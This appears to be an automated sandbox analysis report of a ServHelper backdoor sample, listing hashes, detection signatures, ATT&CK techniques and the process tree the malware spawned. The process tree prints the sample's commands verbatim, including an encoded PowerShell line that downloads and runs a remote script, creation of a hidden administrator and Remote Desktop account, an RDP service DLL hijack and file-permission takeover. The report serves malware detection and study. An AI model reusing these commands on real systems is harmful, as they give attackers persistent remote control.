servhelper | 5f0c0223d10468b9130a240432342f4056c6d7c2f6f89469c9d971bcea31255a

Analysis

max time kernel
131s
max time network
118s
platform
windows7_x64
resource
win7-en-20210920
submitted
29-09-2021 15:40

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General

Target

74f029d2fd587f9e25091f7832bea2f2.exe
Size

5.7MB
MD5

74f029d2fd587f9e25091f7832bea2f2
SHA1

76fb2d051d6dc938ba2b7131ef1b21c0fe2ad60c
SHA256

5f0c0223d10468b9130a240432342f4056c6d7c2f6f89469c9d971bcea31255a
SHA512

0386c61a89b414ab50c2c7b371d2bab288bde154da35c643de423622b05e99fcc748f5b0b9e53f8da00e6dccd02cf535b6d41c15fbddfa732a599db3bac45a23

Score

10^/10

servhelper backdoor discovery exploit persistence suricata trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow	pid	Process
5	832	powershell.exe
6	832	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

Processes:

icacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid	Process
1092	icacls.exe
1628	icacls.exe
1480	takeown.exe
564	icacls.exe
1236	icacls.exe
548	icacls.exe
936	icacls.exe
1764	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/files/0x000a000000012210-130.dat	upx
behavioral1/files/0x0009000000012213-131.dat	upx

Loads dropped DLL 2 IoCs

Processes:

pid	Process
1540
1540

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exe

pid	Process
564	icacls.exe
1236	icacls.exe
548	icacls.exe
936	icacls.exe
1764	icacls.exe
1092	icacls.exe
1628	icacls.exe
1480	takeown.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 9 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	Process
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\S1SUJBY3HRF0WDE6ME5J.temp	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

Processes:

WMIC.exeWMIC.exepowershell.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 40e0886148b5d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

Processes:

reg.exe

pid	Process
1904	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
368	powershell.exe
1812	powershell.exe
1680	powershell.exe
1176	powershell.exe
368	powershell.exe
368	powershell.exe
368	powershell.exe
832	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

Processes:

pid	Process
464
1540
1540
1540
1540

Suspicious use of AdjustPrivilegeToken 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	368	powershell.exe
Token: SeDebugPrivilege	1812	powershell.exe
Token: SeDebugPrivilege	1680	powershell.exe
Token: SeDebugPrivilege	1176	powershell.exe
Token: SeRestorePrivilege	1236	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	640	WMIC.exe
Token: SeIncreaseQuotaPrivilege	640	WMIC.exe
Token: SeAuditPrivilege	640	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	640	WMIC.exe
Token: SeIncreaseQuotaPrivilege	640	WMIC.exe
Token: SeAuditPrivilege	640	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	432	WMIC.exe
Token: SeIncreaseQuotaPrivilege	432	WMIC.exe
Token: SeAuditPrivilege	432	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	432	WMIC.exe
Token: SeIncreaseQuotaPrivilege	432	WMIC.exe
Token: SeAuditPrivilege	432	WMIC.exe
Token: SeDebugPrivilege	832	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

74f029d2fd587f9e25091f7832bea2f2.exepowershell.execsc.exenet.execmd.execmd.exe

description	pid	Process	procid_target
PID 1544 wrote to memory of 368	1544	74f029d2fd587f9e25091f7832bea2f2.exe	28
PID 1544 wrote to memory of 368	1544	74f029d2fd587f9e25091f7832bea2f2.exe	28
PID 1544 wrote to memory of 368	1544	74f029d2fd587f9e25091f7832bea2f2.exe	28
PID 368 wrote to memory of 636	368	powershell.exe	30
PID 368 wrote to memory of 636	368	powershell.exe	30
PID 368 wrote to memory of 636	368	powershell.exe	30
PID 636 wrote to memory of 1656	636	csc.exe	31
PID 636 wrote to memory of 1656	636	csc.exe	31
PID 636 wrote to memory of 1656	636	csc.exe	31
PID 368 wrote to memory of 1812	368	powershell.exe	32
PID 368 wrote to memory of 1812	368	powershell.exe	32
PID 368 wrote to memory of 1812	368	powershell.exe	32
PID 368 wrote to memory of 1680	368	powershell.exe	34
PID 368 wrote to memory of 1680	368	powershell.exe	34
PID 368 wrote to memory of 1680	368	powershell.exe	34
PID 368 wrote to memory of 1176	368	powershell.exe	36
PID 368 wrote to memory of 1176	368	powershell.exe	36
PID 368 wrote to memory of 1176	368	powershell.exe	36
PID 368 wrote to memory of 1480	368	powershell.exe	38
PID 368 wrote to memory of 1480	368	powershell.exe	38
PID 368 wrote to memory of 1480	368	powershell.exe	38
PID 368 wrote to memory of 564	368	powershell.exe	39
PID 368 wrote to memory of 564	368	powershell.exe	39
PID 368 wrote to memory of 564	368	powershell.exe	39
PID 368 wrote to memory of 1236	368	powershell.exe	40
PID 368 wrote to memory of 1236	368	powershell.exe	40
PID 368 wrote to memory of 1236	368	powershell.exe	40
PID 368 wrote to memory of 548	368	powershell.exe	41
PID 368 wrote to memory of 548	368	powershell.exe	41
PID 368 wrote to memory of 548	368	powershell.exe	41
PID 368 wrote to memory of 936	368	powershell.exe	42
PID 368 wrote to memory of 936	368	powershell.exe	42
PID 368 wrote to memory of 936	368	powershell.exe	42
PID 368 wrote to memory of 1764	368	powershell.exe	43
PID 368 wrote to memory of 1764	368	powershell.exe	43
PID 368 wrote to memory of 1764	368	powershell.exe	43
PID 368 wrote to memory of 1092	368	powershell.exe	44
PID 368 wrote to memory of 1092	368	powershell.exe	44
PID 368 wrote to memory of 1092	368	powershell.exe	44
PID 368 wrote to memory of 1628	368	powershell.exe	45
PID 368 wrote to memory of 1628	368	powershell.exe	45
PID 368 wrote to memory of 1628	368	powershell.exe	45
PID 368 wrote to memory of 1488	368	powershell.exe	46
PID 368 wrote to memory of 1488	368	powershell.exe	46
PID 368 wrote to memory of 1488	368	powershell.exe	46
PID 368 wrote to memory of 1904	368	powershell.exe	47
PID 368 wrote to memory of 1904	368	powershell.exe	47
PID 368 wrote to memory of 1904	368	powershell.exe	47
PID 368 wrote to memory of 1796	368	powershell.exe	48
PID 368 wrote to memory of 1796	368	powershell.exe	48
PID 368 wrote to memory of 1796	368	powershell.exe	48
PID 368 wrote to memory of 1632	368	powershell.exe	49
PID 368 wrote to memory of 1632	368	powershell.exe	49
PID 368 wrote to memory of 1632	368	powershell.exe	49
PID 1632 wrote to memory of 1168	1632	net.exe	50
PID 1632 wrote to memory of 1168	1632	net.exe	50
PID 1632 wrote to memory of 1168	1632	net.exe	50
PID 368 wrote to memory of 1172	368	powershell.exe	51
PID 368 wrote to memory of 1172	368	powershell.exe	51
PID 368 wrote to memory of 1172	368	powershell.exe	51
PID 1172 wrote to memory of 628	1172	cmd.exe	52
PID 1172 wrote to memory of 628	1172	cmd.exe	52
PID 1172 wrote to memory of 628	1172	cmd.exe	52
PID 628 wrote to memory of 1928	628	cmd.exe	53

C:\Users\Admin\AppData\Local\Temp\74f029d2fd587f9e25091f7832bea2f2.exe
"C:\Users\Admin\AppData\Local\Temp\74f029d2fd587f9e25091f7832bea2f2.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:368
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fb3b6jj5.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:636
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC8EA.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCC8E9.tmp"
      4⤵
      PID:1656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1680
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1176
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1480
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:564
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1236
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:548
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:936
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1764
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1092
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1628
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1488
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1904
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1796
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1632
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1168
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1172
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:628
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1928
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1560
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1844
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1592
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1736
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1868
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1204
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:548

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:1324
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1836
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1852

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc TR9LMFtn /add
1⤵
PID:588
- C:\Windows\system32\net.exe
  net.exe user wgautilacc TR9LMFtn /add
  2⤵
  PID:636
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc TR9LMFtn /add
    3⤵
    PID:1032

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:548
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:1296
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:1944

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
1⤵
PID:1556
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
  2⤵
  PID:1904
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
    3⤵
    PID:1008

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1564
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1840
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:1880

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc TR9LMFtn
1⤵
PID:1624
- C:\Windows\system32\net.exe
  net.exe user wgautilacc TR9LMFtn
  2⤵
  PID:984
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc TR9LMFtn
    3⤵
    PID:2032

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1644
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:640

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1916
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:432

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1660
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:288
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:832

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:1484
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:1496
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:1032

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RESC8EA.tmp

MD5
da9f29a280d523ed0435b402370a00d2

SHA1
720e09100f879e340b4024a642cceb8e2402bcce

SHA256
df0415ee7fc1fe52d8091b25907d8894981107c4a1ba603b25735b899e261965

SHA512
eb246d4d56d690ca882e0e59c1c7482fd379a61e9701331477fdb3a8ba1b3ad351fc4e7a6fbc14954dc6dfb063c6e12aa32f1decd3d4073b1e083c3dd7b52696

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C:\Users\Admin\AppData\Local\Temp\fb3b6jj5.dll

MD5
05b6bd1f72425a49da664af385055411

SHA1
58bc760001cd595e53c48160e76d2e8acb25cd15

SHA256
079ae9370a2fed597427afc7d75946e5b79258c7b66988dc3f0a3ebaf6832e4d

SHA512
3eabdf10cf872db8e60db5c92718ae1a5361be3471ada93bbc271325a5f0060aeed47b1a724cb8896a12d6738e8980f7c9f8bd24aef6afeb38cce05f98a99359

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C:\Users\Admin\AppData\Local\Temp\fb3b6jj5.pdb

MD5
afb99643701840705ef2e35de2e7f56f

SHA1
59ddceb161f33c171d27ff70b8fdf9cb265202b6

SHA256
1e0be543e35ba546e2ab5918caa4d6a4803082ff1d39911bea28507dedf8a0b5

SHA512
d9c7fe010c4ecc8d87ad3c6250f519884183c40a14e79d9a0c34dc50439a21ab3dd99bd48be24d2998c1c54e2e312001c42ac45b667aa08610b91db26ab20631

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C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

MD5
1ef6eef1d39c71661339d818226d688d

SHA1
b3e44163a9d9894d091f59f888d7d5d90e68e216

SHA256
dcad3e3226ea222782284a604f9354ac661cf6e34c26c62162dd1aeedfbef04a

SHA512
8deb2b6df79c2ce81604b9124d92c6222f517cea021416513fdd8dfc9f8d46ae464cd69f50ee70a343cfe5b4fbc4d08212bcf3e1416262193cae52b4a30b2c49

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1

MD5
28d9755addec05c0b24cca50dfe3a92b

SHA1
7d3156f11c7a7fb60d29809caf93101de2681aa3

SHA256
abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

SHA512
891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
4e517041d2285b7f3b1b284b6866b6a8

SHA1
c5a428844b570f486aa23f829c3154f4288431a3

SHA256
9eab82e0f62edcfedfc04616af21a88e831fe91bd17a76dff047403ea29bc41b

SHA512
848251826f2a7674fbf589f320d7a086933bf58110b3fcece24e99696ac736d4f0be45c202c94c119399f6f44c6e4ac6f97f9f2f385545fa03cd849467368a70

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
4e517041d2285b7f3b1b284b6866b6a8

SHA1
c5a428844b570f486aa23f829c3154f4288431a3

SHA256
9eab82e0f62edcfedfc04616af21a88e831fe91bd17a76dff047403ea29bc41b

SHA512
848251826f2a7674fbf589f320d7a086933bf58110b3fcece24e99696ac736d4f0be45c202c94c119399f6f44c6e4ac6f97f9f2f385545fa03cd849467368a70

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
4e517041d2285b7f3b1b284b6866b6a8

SHA1
c5a428844b570f486aa23f829c3154f4288431a3

SHA256
9eab82e0f62edcfedfc04616af21a88e831fe91bd17a76dff047403ea29bc41b

SHA512
848251826f2a7674fbf589f320d7a086933bf58110b3fcece24e99696ac736d4f0be45c202c94c119399f6f44c6e4ac6f97f9f2f385545fa03cd849467368a70

Download Submit
C:\Windows\system32\rfxvmt.dll

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\PIPE\lsarpc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

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\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCC8E9.tmp

MD5
b0c21fda384eb02bba3fa6d8f4c30362

SHA1
efcf33c181ebd927e6f41bb887b1f8595987f541

SHA256
34810742196c790b8e833e76b97bc471fc399736888b10f3e1c733d4da04fae7

SHA512
0b26147cd5cebf1e21119a03844aa1c970f2c2915bbc373ebe4a19ecb4a33f3c423edb30dc084e50ec94d6497f943354ba00870ef8445102b2e23b61637cc7b1

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\fb3b6jj5.0.cs

MD5
9f8ab7eb0ab21443a2fe06dab341510e

SHA1
2b88b3116a79e48bab7114e18c9b9674e8a52165

SHA256
e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

SHA512
53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\fb3b6jj5.cmdline

MD5
e6f767658402210d01a667312df8932f

SHA1
6098d6934c6d5986ff3288d4e2112b85b19b0721

SHA256
866b2d73deab41c79f76e1d0ea5a176ffeefebc5a54fe160a49ef8d5bebf8f0d

SHA512
e6a6b4421d6533187e0cf17ea8860b9dd97d3a97429dcf7a35078684d029afed3d30a60ed01f69e348c493cf78bde12231a9f16775c849795b45b9f91b71685a

Download Submit
\Windows\Branding\mediasrv.png

MD5
44161e115bf968d5b616d254be2f38a1

SHA1
b801a9318b1fc89996f76055c69e071e0fed368a

SHA256
2750122708b726eb5e75869401dc6f3b663e8ca342924f8a713adfca86e80491

SHA512
375ab2fd36f9953faef09e10889535a0e8a5192c841d941998ff0f193d5b6702a26698149789f77925689c74edecb97a78382c2d2529c6ab10a47b723d3a185e

Download Submit
\Windows\Branding\mediasvc.png

MD5
7245ed7533b89d29f7f5bb35830d4560

SHA1
8efaef0babf855989e460451803032940ae0c7bd

SHA256
89549afa855d70f7bf33b1979541ab0e732c7cc16adb866efffe9d1e8be62638

SHA512
f19a1a72684cc54757d065133dd95122acce69744267fa49a55a5508263946953ad8bca4e2e3188e02a119948dac95a63c185d92c57f32dad51bfaa077a216f3

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memory/288-149-0x0000000000000000-mapping.dmp

Download
memory/368-66-0x000000000222B000-0x000000000224A000-memory.dmp

Filesize
124KB

Download
memory/368-59-0x0000000000000000-mapping.dmp

Download
memory/368-64-0x0000000002224000-0x0000000002227000-memory.dmp

Filesize
12KB

Download
memory/368-77-0x000000000224D000-0x000000000224E000-memory.dmp

Filesize
4KB

Download
memory/368-60-0x000007FEFBA11000-0x000007FEFBA13000-memory.dmp

Filesize
8KB

Download
memory/368-61-0x000007FEEA7D0000-0x000007FEEB32D000-memory.dmp

Filesize
11.4MB

Download
memory/368-63-0x0000000002222000-0x0000000002224000-memory.dmp

Filesize
8KB

Download
memory/368-62-0x0000000002220000-0x0000000002222000-memory.dmp

Filesize
8KB

Download
memory/432-148-0x0000000000000000-mapping.dmp

Download
